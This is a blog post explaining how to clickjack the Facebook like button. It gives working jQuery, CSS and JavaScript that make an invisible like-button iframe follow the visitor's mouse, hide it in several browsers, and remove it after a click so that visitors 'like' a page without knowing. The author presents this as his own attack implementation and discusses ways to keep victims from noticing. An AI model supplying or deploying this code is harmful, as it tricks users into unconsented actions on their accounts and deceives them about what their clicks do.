Hacking the Facebook like button with Clickjacking

As I heard there are some websites around making people click a video which then leads to an automatical “like” call in facebook. As this solution—having to click a video before—does not seem enough to me, I tried an own implementation of a facebook button being clicked unknowingly or even being sent unknowingly.

It is not really easy to hack the facebook like button—at least not without the Javascript SDK which is said to give you more freedom, but which also requires a ID for usage. The problem with the facebook iframe is the restrictive policy of Javascript with regards to foreign domains: One cannot work across different domains with Javascript, you cannot even traverse the DOM down into a foreign iframe. If you will try it nonetheless your browser will greet you with an empty string. Of course you could “tweak” your browser a little, but this would not help you with other people. Therefore, it is not possible to send an automatical request without the user clicking anything.

Following the user’s mouse

So the only possible approach to collect “like” clicks without users willingly clicking your button really seems to be to make the button invisible and put it somewhere the user will click. But instead of only puttin the like button somewhere the user will possibly click, you can also let the button follow the user’s mouse. This means, the user does not have to click any special point, but he can click anywhere on the website to execute the “like” event.

Implemented in jQuery this looks pretty straight forward:

$(document).mousemove(function(e) {
  $('#facebooklike').css('left', (e.pageX-20) + 'px');
  $('#facebooklike').css('top', (e.pageY-10) + 'px');
});

The HTML source also needs some tweaking. You have to give the iframe an ID to access it and you need to add position: absolute.

<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Feliteinformatiker.de%2F&layout=button_count&show_faces=false&width=110&action=like&colorscheme=light&height=21" style="border:none; overflow:hidden; width:110px; height:21px; padding-top:1px; position:absolute;" scrolling="no" id="facebooklike" frameborder="0">
 </iframe>

 
#facebooklike {
  position:absolute;
}

Making the button disappear

Of course this is not a good implementation yet, as the user can see the button following his mouse, so we have to make it invisible. All we have to do for this is adding some CSS stuff for making elements invisible in different browsers.

#facebooklike {
  position:absolute;
  opacity: 0;
  -moz-opacity: 0;
  filter: Alpha(opacity=0);
}

As a web developer you probably recognize the first problem now: NoScript users get warned that there might be a clickjacking attack.

Remove element after usage

Since the element does block clicks on other elements, it has to be removed after usage. Some good JS hackers could probably catch the click positions and redirect them to the actual target (e.g. a link or a button), but for now we will stay with the user being confused why his click did not work (cf. German movie “23 – Nichts ist so wie es scheint” in which Karl Koch develops a predecessor of man-in-the-middle that only reads the password, but does not pass it on; the first login fails, users are confused, but they just reenter it a second time).

Capturing clicks on the iframe to know when you should delete your “like” button, again, is not as easy as it seems, because Javascript’s event-bubbling stops at the <html>-tag within the iframe, so you do not get informed about the click outside. However, you can check if the iframe is the currently active element or not. This is not the exactly same thing, but it does a really good job.

var inIframe = false;
function checkClick() {
  if (document.activeElement && document.activeElement === document.getElementById("facebooklike")) {
     if (inIframe == false) {
        $('#facebooklike').remove();
        inIframe = true;
     }
  } else {
     inIframe = false;
  }
}
setInterval(checkClick, 1000);

Remaining problems

A problem remaining is the cursor always displaying a link as it does not seem possible to influence the cursor’s style within the iframe.
As already mentioned, the user’s first click will not be grabbed in the parent window, either, so he might get suspicious.
And finally NoScript users might kick your ass…

I do not maintain a comments section. If you have any questions or comments regarding my posts, please do not hesitate to send me an e-mail to blog@stefan-koch.name.